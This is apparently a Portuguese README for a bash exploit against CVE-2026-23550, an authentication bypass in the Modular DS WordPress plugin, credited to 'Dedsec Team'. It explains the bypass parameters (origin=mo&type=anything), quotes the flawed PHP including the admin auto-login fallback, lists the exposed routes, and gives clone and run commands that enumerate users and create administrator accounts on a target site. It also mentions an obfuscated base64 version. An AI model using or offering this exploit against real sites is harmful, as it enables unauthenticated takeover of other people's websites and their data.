
Script Bash para enumeração de utilizadores WordPress e criação automatizada de contas de administrador, explorando o CVE-2026-23550 para contornar a autenticação e obter tomada de controlo de administrador sem autenticação.
ID CVE: CVE-2026-23550 Pontuação CVSS: 10.0 (CRÍTICA) Plugin Afetado: Plugin WordPress Modular DS Versões Afetadas: Todas as versões até 2.5.1 inclusive Versão Corrigida: 2.5.2 (lançada em 14 de janeiro de 2026) Exploração Ativa: Confirmada na natureza desde 13 de janeiro de 2026
Este plugin expõe suas rotas de API sob o prefixo /api/modular-connector/.
Essas rotas são agrupadas atrás de middleware de autenticação em RouteServiceProvider.php.
No entanto, a autenticação pode ser contornada usando o método defeituoso isDirectRequest().
public static function isDirectRequest(): bool
{
$request = \Modular\ConnectorDependencies\app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
// When is wp-load.php request
if ($isFromQuery) {
return \true;
}
return \false;
}
A forma de contornar é muito simples: basta incluir os parâmetros origin=mo&type=anything na solicitação. Não há verificação de assinatura, segredo, IP ou User-Agent obrigatório – esses parâmetros por si só já são suficientes para que a solicitação seja considerada uma Modular direct request
Depois que a solicitação é considerada "direta", o middleware de autenticação em ModularGuard.php apenas verifica se o site está conectado ao Modular por meio de validateOrRenewAccessToken(). Não há vínculo criptográfico entre a solicitação recebida e o próprio Modular.
Rotas Expostas Com a autenticação contornada com sucesso, o atacante pode acessar:
/login/{modular_request} – login remoto (acesso de administrador)
/server-information – dados sensíveis do sistema
/users/{modular_request} – enumeração de usuários
/backup/* – backups do site
/cache/clear – limpar cache
/manager/* – funções de gerenciamento
/woocommerce/{modular_request} – estatísticas do WooCommerce
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id');
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // FALLBACK KE ADMIN MANAPUN
} else {
Cache::driver('wordpress')->forever('user.login', $user->ID);
}
if (empty($user)) {
throw new \Exception('No admin user detected.');
}
$cookies = ServerSetup::loginAs($user, true); // AUTO-LOGIN
return Response::redirectTo(admin_url('index.php'))
->withCookies($cookies);
}
Se não houver ID de usuário no corpo da solicitação, o código procurará qualquer administrador existente (getAdminUser()) e fará login diretamente.
Autor: (Dedsec Team)
Descrição: Um poderoso script bash para enumeração de usuários WordPress e criação automatizada de contas de administrador. Criado apenas para fins educacionais e testes de segurança autorizados.
/?author=1, /?author=2, etc.)curl (para solicitações HTTP)base64 (se você estiver usando a versão ofuscada, hehe)git clone https://github.com/DedsecTeam-BlackHat/CVE-2026-23550.git
cd CVE-2026-23550
chmod +x CVE-2026-23550.sh
./CVE-2026-23550.sh [opções] <url_alvo>
./CVE-2026-23550.sh -e -t http://targetsite.com./CVE-2026-23550.sh -t http://targetsite.com -c -u dedsec_admin -p P@ssw0rd!./CVE-2026-23550.sh -d